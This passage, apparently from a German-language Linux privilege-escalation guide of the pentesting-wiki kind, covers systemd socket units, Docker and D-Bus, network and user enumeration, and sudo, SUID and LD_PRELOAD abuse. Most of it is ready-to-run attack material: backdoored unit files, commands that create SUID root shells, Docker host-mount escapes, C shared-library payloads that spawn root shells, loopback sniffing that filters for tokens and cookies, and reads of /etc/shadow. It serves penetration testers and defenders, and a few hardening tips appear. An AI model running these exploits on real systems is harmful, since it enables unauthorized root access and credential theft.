• Accept: Nimmt ein boolean-Argument. Wenn true, wird für jede eingehende Verbindung eine Service-Instanz erzeugt und nur die Verbindungssocket an diese übergeben. Wenn false, werden alle Listening-Sockets selbst an die gestartete Service-Unit übergeben, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Unit bedingungslos sämtlichen eingehenden Traffic verarbeitet. Standard ist false. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie für Accept=no geeignet sind.
• ExecStartPre, ExecStartPost: Nimmt eine oder mehrere Kommandozeilen, die ausgeführt werden bevor bzw. nachdem die Listening-Sockets/FIFOs erstellt und gebunden wurden. Das erste Token der Kommandozeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
• ExecStopPre, ExecStopPost: Zusätzliche Befehle, die ausgeführt werden bevor bzw. nachdem die Listening-Sockets/FIFOs geschlossen und entfernt werden.
• Service: Gibt den Namen der Service-Unit an, die bei eingehendem Traffic aktiviert werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standardmäßig ist es die Service, die denselben Namen wie die Socket trägt (mit ersetztem Suffix). In den meisten Fällen ist die Verwendung dieser Option nicht notwendig.

Writable .socket files

Wenn du eine beschreibbare .socket-Datei findest, kannst du am Anfang der [Socket]-Sektion etwas wie ExecStartPre=/home/kali/sys/backdoor hinzufügen und die Backdoor wird ausgeführt, bevor die Socket erstellt wird. Daher wirst du wahrscheinlich warten müssen, bis die Maschine neu gebootet wird.
Note that the system must be using that socket file configuration or the backdoor won’t be executed

Socket-Aktivierung + beschreibbarer Unit-Pfad (fehlenden Service erstellen)

Eine weitere hochwirksame Fehlkonfiguration ist:

• eine Socket-Unit mit Accept=no und Service=<name>.service
• die referenzierte Service-Unit fehlt
• ein Angreifer kann in /etc/systemd/system (oder einen anderen Unit-Suchpfad) schreiben

In diesem Fall kann der Angreifer <name>.service erstellen und dann Traffic zur Socket auslösen, sodass systemd den neuen Service lädt und als root ausführt.

Kurzablauf:

systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service

cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p

Beschreibbare sockets

Wenn du einen beschreibbaren socket identifizierst (hier sprechen wir von Unix Sockets und nicht von den Konfigurationsdateien .socket), dann kannst du mit diesem socket kommunizieren und möglicherweise eine Schwachstelle ausnutzen.

Unix Sockets auflisten

netstat -a -p --unix

Rohverbindung

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation-Beispiel:

Socket Command Injection

HTTP sockets

Beachte, dass es möglicherweise einige sockets listening for HTTP Anfragen gibt (ich spreche nicht von .socket files, sondern von Dateien, die als unix sockets fungieren). Du kannst das mit folgendem überprüfen:

curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/

Wenn der Socket mit einer HTTP-Anfrage antwortet, kannst du mit ihm kommunizieren und möglicherweise eine Schwachstelle ausnutzen.

Beschreibbarer Docker Socket

Der Docker Socket, oft zu finden unter /var/run/docker.sock, ist eine kritische Datei, die abgesichert werden sollte. Standardmäßig ist er für den Benutzer root und Mitglieder der Gruppe docker beschreibbar. Schreibzugriff auf diesen Socket kann zu privilege escalation führen. Nachfolgend eine Aufschlüsselung, wie das gemacht werden kann, und alternative Methoden, falls die Docker CLI nicht verfügbar ist.

Privilege Escalation with Docker CLI

Wenn du Schreibzugriff auf den Docker Socket hast, kannst du Privilegien mit den folgenden Befehlen eskalieren:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Mit diesen Befehlen können Sie einen Container starten, der Root-Zugriff auf das Dateisystem des Hosts hat.

Docker-API direkt verwenden

Wenn die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker-API und curl-Befehle manipuliert werden.

1. Docker-Images auflisten: Ruft die Liste der verfügbaren Images ab.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Container erstellen: Senden Sie eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Starten Sie den neu erstellten Container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. An den Container anhängen: Verwenden Sie socat, um eine Verbindung zum Container herzustellen, wodurch Befehlsausführung darin möglich wird.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nachdem die socat-Verbindung hergestellt ist, können Sie Befehle direkt im Container ausführen und haben Root-Zugriff auf das Dateisystem des Hosts.

Andere

Beachten Sie, dass wenn Sie Schreibrechte auf den docker socket haben, weil Sie in der Gruppe docker sind, Sie more ways to escalate privileges. Wenn die docker API is listening in a port you can also be able to compromise it.

Check more ways to break out from containers or abuse container runtimes to escalate privileges in:

Container Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus ist ein ausgeklügeltes interprozessuales Kommunikationssystem (IPC), das Anwendungen ermöglicht, effizient zu interagieren und Daten zu teilen. Es wurde mit Blick auf moderne Linux-Systeme entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.

Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie enhanced UNIX domain sockets. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen und fördert die nahtlose Integration von Systemkomponenten. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten und so die Benutzererfahrung verbessern. Zusätzlich unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse strafft, die traditionell komplex waren.

D-Bus arbeitet nach einem allow/deny model und verwaltet Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung passender Richtlinienregeln. Diese Richtlinien legen Interaktionen mit dem Bus fest und können durch Ausnutzung dieser Berechtigungen potenziell zu privilege escalation führen.

Ein Beispiel einer solchen Richtlinie in /etc/dbus-1/system.d/wpa_supplicant.conf zeigt die Berechtigungen für den root-Benutzer, Eigentümer von fi.w1.wpa_supplicant1 zu sein sowie Nachrichten an ihn zu senden und von ihm zu empfangen.

Richtlinien ohne spezifizierten Benutzer oder Gruppe gelten universell, während “default”-Kontext-Richtlinien für alle gelten, die nicht von anderen spezifischen Richtlinien abgedeckt sind.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Lerne hier, wie man eine D-Bus-Kommunikation enumerate und exploit:

D-Bus Enumeration & Command Injection Privilege Escalation

Netzwerk

Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine herauszufinden.

Allgemeine enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)

#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1

#L2 neighbours
(arp -e || arp -a || ip neigh)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null

#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null

#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20

#Files used by network services
lsof -i

Schnelle Outbound-Filtering-Triage

Wenn der Host Befehle ausführen kann, aber callbacks fehlschlagen, trenne schnell DNS-, Transport-, Proxy- und Route-Filtering:

# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A

# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done

# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true

# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me

Offene Ports

Überprüfe immer die auf der Maschine laufenden Netzwerkdienste, mit denen du vor dem Zugriff nicht interagieren konntest:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u

Listener nach Bind-Ziel klassifizieren:

• 0.0.0.0 / [::]: auf allen lokalen Schnittstellen exponiert.
• 127.0.0.1 / ::1: nur lokal (good tunnel/forward candidates).
• Spezifische interne IPs (z. B. 10.x, 172.16/12, 192.168.x, fe80::): normalerweise nur von internen Segmenten erreichbar.

Triage-Workflow für nur-lokale Dienste

Wenn du einen Host kompromittierst, sind Dienste, die an 127.0.0.1 gebunden sind, von deiner Shell oft zum ersten Mal erreichbar. Ein schneller lokaler Workflow ist:

# 1) Find local listeners
ss -tulnp

# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1

# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1

# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>

LinPEAS als network scanner (network-only mode)

Neben lokalen PE checks kann linPEAS als fokussierter network scanner ausgeführt werden. Es verwendet verfügbare binaries in $PATH (typischerweise fping, ping, nc, ncat) und installiert kein tooling.

# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t

# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24

# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443

# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20

# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443

Wenn du -d, -p oder -i ohne -t übergibst, verhält sich linPEAS wie ein reiner Netzwerkscanner (überspringt die restlichen privilege-escalation checks).

Sniffing

Prüfe, ob du traffic sniffen kannst. Wenn ja, könntest du einige credentials abgreifen.

timeout 1 tcpdump

Schnelle praktische Prüfungen:

#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"

#Find capture interfaces
tcpdump -D
ip -br addr

Loopback (lo) ist besonders wertvoll in post-exploitation, weil viele nur intern erreichbare Dienste dort Tokens/Cookies/Credentials offenlegen:

sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'

Capture jetzt, parse später:

sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri

Benutzer

Generische Enumeration

Prüfe wer du bist, welche Privilegien du hast, welche Benutzer in den Systemen sind, welche sich per login anmelden können und welche root privileges haben:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Große UID

Einige Linux-Versionen waren von einem Bug betroffen, der es Benutzern mit UID > INT_MAX erlaubt, Privilegien zu eskalieren. Mehr Infos: here, here and here.
Mit folgendem Befehl ausnutzen: systemd-run -t /bin/bash

Gruppen

Prüfe, ob du Mitglied einer Gruppe bist, die dir root-Rechte gewähren könnte:

Interesting Groups - Linux Privesc

Zwischenablage

Überprüfe, ob sich etwas Interessantes in der Zwischenablage befindet (falls möglich)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Passwortrichtlinie

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekannte Passwörter

Wenn du ein Passwort der Umgebung kennst, versuche, dich mit dem Passwort als jeden Benutzer anzumelden.

Su Brute

Wenn es dir nichts ausmacht, viel Lärm zu erzeugen und die Binaries su und timeout auf dem Computer vorhanden sind, kannst du versuchen, einen Benutzer mit su-bruteforce zu brute-forcen.
Linpeas mit dem Parameter -a versucht ebenfalls, Benutzer zu brute-forcen.

Missbrauch von beschreibbaren $PATH

$PATH

Wenn du feststellst, dass du in einen Ordner des $PATH schreiben kannst, könntest du Privilegien eskalieren, indem du eine Backdoor in dem beschreibbaren Ordner erstellst, die den Namen eines Befehls trägt, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der nicht aus einem Ordner geladen wird, der vor deinem beschreibbaren Ordner im $PATH liegt.

SUDO und SUID

Dir könnte erlaubt sein, einige Befehle mit sudo auszuführen, oder sie könnten das suid bit gesetzt haben. Überprüfe es mit:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Einige unerwartete Befehle erlauben es, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen. Zum Beispiel:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo-Konfiguration könnte einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In diesem Beispiel kann der Benutzer demo vim als root ausführen; es ist nun trivial, eine shell zu erhalten, indem man einen ssh key in das root-Verzeichnis einfügt oder sh aufruft.

sudo vim -c '!sh'

SETENV

Diese Direktive erlaubt dem Benutzer, eine Umgebungsvariable zu setzen, während er etwas ausführt:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Dieses Beispiel, basierend auf HTB machine Admirer, war anfällig für PYTHONPATH hijacking, um eine beliebige python library zu laden, während das script als root ausgeführt wurde:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV beibehalten durch sudo env_keep → root shell

If sudoers preserves BASH_ENV (e.g., Defaults env_keep+="ENV BASH_ENV"), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.

• Warum das funktioniert: Bei nicht-interaktiven Shells wertet Bash $BASH_ENV aus und bindet diese Datei ein, bevor das Zielskript ausgeführt wird. Viele sudo-Regeln erlauben das Ausführen eines Skripts oder eines Shell-Wrappers. Wenn BASH_ENV von sudo beibehalten wird, wird deine Datei mit root-Rechten eingebunden.

• Voraussetzungen:

• Eine sudo-Regel, die du ausführen kannst (jeder Zielbefehl, der /bin/bash nicht-interaktiv aufruft, oder jedes bash-Skript).

• BASH_ENV in env_keep vorhanden (prüfe mit sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Härtung:
• Entferne BASH_ENV (und ENV) aus env_keep, bevorzugt env_reset.
• Vermeide Shell-Wrapper für sudo-erlaubte Befehle; verwende minimale Binaries.
• Erwäge sudo I/O-Logging und Benachrichtigungen, wenn erhaltene Umgebungsvariablen verwendet werden.

Terraform via sudo mit erhaltenem HOME (!env_reset)

Wenn sudo die Umgebung intakt lässt (!env_reset) und gleichzeitig terraform apply erlaubt, bleibt $HOME des aufrufenden Benutzers. Terraform lädt daher $HOME/.terraformrc als root und beachtet provider_installation.dev_overrides.

• Weise den benötigten Provider auf ein beschreibbares Verzeichnis und lege ein bösartiges Plugin mit dem Namen des Providers ab (z. B. terraform-provider-examples):

# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}

cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform wird den Go-Plugin-Handshake nicht bestehen, führt die Payload jedoch als root aus, bevor es abstürzt, und hinterlässt eine SUID-Shell.

TF_VAR-Überschreibungen + Symlink-Validierungs-Bypass

Terraform-Variablen können über die Umgebungsvariablen TF_VAR_<name> bereitgestellt werden, die erhalten bleiben, wenn sudo die Umgebung beibehält. Schwache Validierungen wie strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") können mit Symlinks umgangen werden:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform löst den Symlink auf und kopiert die echte /root/root.txt in ein für den Angreifer lesbares Ziel. Derselbe Ansatz kann verwendet werden, um durch Voranlegen von Ziel-Symlinks in privilegierte Pfade zu schreiben (z. B. indem man den Zielpfad des Providers auf einen Pfad innerhalb von /etc/cron.d/ zeigt).

requiretty / !requiretty

Bei einigen älteren Distributionen kann sudo mit requiretty konfiguriert werden, wodurch sudo nur von einem interaktiven TTY ausgeführt werden darf. Ist !requiretty gesetzt (oder die Option fehlt), kann sudo auch aus nicht-interaktiven Kontexten wie reverse shells, cron jobs oder Skripten ausgeführt werden.

Defaults !requiretty

Dies ist für sich genommen keine direkte Sicherheitslücke, erweitert aber die Situationen, in denen sudo-Regeln ohne ein vollständiges PTY missbraucht werden können.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

Wenn sudo -l env_keep+=PATH anzeigt oder eine secure_path, die attacker-writable Einträge enthält (z. B. /home/<user>/bin), kann jeder relative Befehl innerhalb des sudo-erlaubten Ziels überschattet werden.

• Voraussetzungen: eine sudo-Regel (oft NOPASSWD) die ein script/binary ausführt, das Befehle ohne absolute Pfade aufruft (free, df, ps, etc.) und eine writable PATH entry, die zuerst durchsucht wird.

cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo-Ausführung: Pfade umgehen

Springe um andere Dateien zu lesen oder benutze symlinks. Zum Beispiel in der sudoers-Datei: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Wenn ein wildcard verwendet wird (*), ist es noch einfacher:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Gegenmaßnahmen: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary ohne Befehls-Pfad

Wenn die sudo-Berechtigung für einen einzelnen Befehl ohne Angabe des Pfads gewährt wird: hacker10 ALL= (root) less. Man kann dies ausnutzen, indem man die PATH-Variable ändert

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Diese Technik kann auch verwendet werden, wenn ein suid binary einen anderen Befehl ausführt, ohne den Pfad dazu anzugeben (prüfe immer mit strings den Inhalt eines seltsamen SUID binary).

Payload examples to execute.

SUID binary mit Pfad zum Befehl

Wenn die suid binary einen anderen Befehl ausführt und dabei den Pfad angibt, dann kannst du versuchen, eine Funktion zu exportieren, die den Namen des Befehls trägt, den die suid-Datei aufruft.

Zum Beispiel, wenn ein suid binary /usr/sbin/service apache2 start aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Wenn Sie dann das suid binary aufrufen, wird diese Funktion ausgeführt

Beschreibbares Skript, das von einem SUID wrapper ausgeführt wird

Eine häufige Fehlkonfiguration bei Custom-Apps ist ein im Besitz von root befindlicher SUID wrapper, der ein Skript ausführt, wobei das Skript selbst von low-priv users beschreibbar ist.

Typisches Muster:

int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}

Wenn /usr/local/bin/backup.sh beschreibbar ist, kannst du payload commands anhängen und dann den SUID wrapper ausführen:

echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p

Schnellprüfungen:

find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh

Dieser Angriffsweg ist besonders häufig in “maintenance”/“backup” Wrappern, die in /usr/local/bin ausgeliefert werden.

LD_PRELOAD & LD_LIBRARY_PATH

Die Umgebungsvariable LD_PRELOAD wird verwendet, um eine oder mehrere shared libraries (.so-Dateien) anzugeben, die vom loader vor allen anderen geladen werden, einschließlich der Standard-C-Bibliothek (libc.so). Dieser Vorgang ist als Preloading einer Bibliothek bekannt.

Um jedoch die Systemsicherheit zu wahren und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei suid/sgid-Executables, erzwingt das System bestimmte Bedingungen:

• Der loader ignoriert LD_PRELOAD für Executables, bei denen die real user ID (ruid) nicht mit der effective user ID (euid) übereinstimmt.
• Bei Executables mit suid/sgid werden nur Bibliotheken aus Standardpfaden vorgeladen, die ebenfalls suid/sgid sind.

Privilege escalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit sudo auszuführen und die Ausgabe von sudo -l die Anweisung env_keep+=LD_PRELOAD enthält. Diese Konfiguration erlaubt es, die Umgebungsvariable LD_PRELOAD beizubehalten und auch bei mit sudo ausgeführten Befehlen erkannt zu werden, was möglicherweise zur Ausführung beliebigen Codes mit erhöhten Rechten führt.

Defaults        env_keep += LD_PRELOAD

Speichern als /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dann kompiliere es mit:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Schließlich, escalate privileges ausführen

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Eine ähnliche privesc kann ausgenutzt werden, wenn der Angreifer die LD_LIBRARY_PATH-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Wenn Sie auf ein binary mit SUID-Berechtigungen stoßen, das ungewöhnlich erscheint, ist es gute Praxis zu überprüfen, ob es .so-Dateien korrekt lädt. Dies kann überprüft werden, indem man den folgenden Befehl ausführt:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Zum Beispiel deutet das Auftreten eines Fehlers wie “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” auf ein mögliches exploitation hin.

Um dies zu exploit, erstellt man eine C-Datei, z. B. “/path/to/.config/libcalc.c”, die den folgenden Code enthält:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Dieser Code zielt, nach der Kompilierung und Ausführung, darauf ab, elevate privileges, indem er Dateiberechtigungen manipuliert und eine Shell mit elevated privileges ausführt.

Kompiliere die obige C-Datei in ein shared object (.so) mit:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Schließlich sollte das Ausführen des betroffenen SUID binary den exploit auslösen und damit eine mögliche Kompromittierung des Systems ermöglichen.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Da wir nun ein SUID binary gefunden haben, das eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem benötigten Namen:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Wenn Sie einen Fehler wie

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

Das bedeutet, dass die von dir erzeugte Bibliothek eine Funktion mit dem Namen a_function_name haben muss.

GTFOBins

GTFOBins ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. GTFOArgs ist dasselbe, aber für Fälle, in denen du in einen Befehl nur Argumente injizieren kannst.

Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder aufrechtzuerhalten, Dateien zu übertragen, bind- und reverse-shells zu starten und andere Post-Exploitation-Aufgaben zu erleichtern.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

GTFOArgs: Argument Injection Exploitation Vector List | GTFOArgs is a curated list of Unix binaries whose arguments can be exploited for argument injection, enabling shell escapes, privilege escalation, file read/write, and other post-exploitation techniques.

FallOfSudo

If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.

Reusing Sudo Tokens

In Fällen, in denen du sudo access aber nicht das Passwort hast, kannst du Privilegien eskalieren, indem du auf die Ausführung eines sudo-Kommandos wartest und dann das Session-Token kaperst.

Requirements to escalate privileges:

• Du hast bereits eine Shell als Benutzer “sampleuser”
• “sampleuser” hat sudo verwendet, um etwas in den letzten 15mins auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, die es uns erlaubt, sudo zu benutzen, ohne ein Passwort einzugeben)
• cat /proc/sys/kernel/yama/ptrace_scope ist 0
• gdb ist zugänglich (du solltest es hochladen können)

(Du kannst ptrace_scope temporär aktivieren mit echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope oder dauerhaft, indem du /etc/sysctl.d/10-ptrace.conf modifizierst und kernel.yama.ptrace_scope = 0 setzt)

If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject

• The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp. Du kannst es verwenden, um das sudo-Token in deiner Session zu aktivieren (du erhältst nicht automatisch eine root-Shell, führe sudo su aus):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Der zweite exploit (exploit_v2.sh) erstellt eine sh-Shell in /tmp, die root gehört und setuid gesetzt ist.

bash exploit_v2.sh
/tmp/sh -p

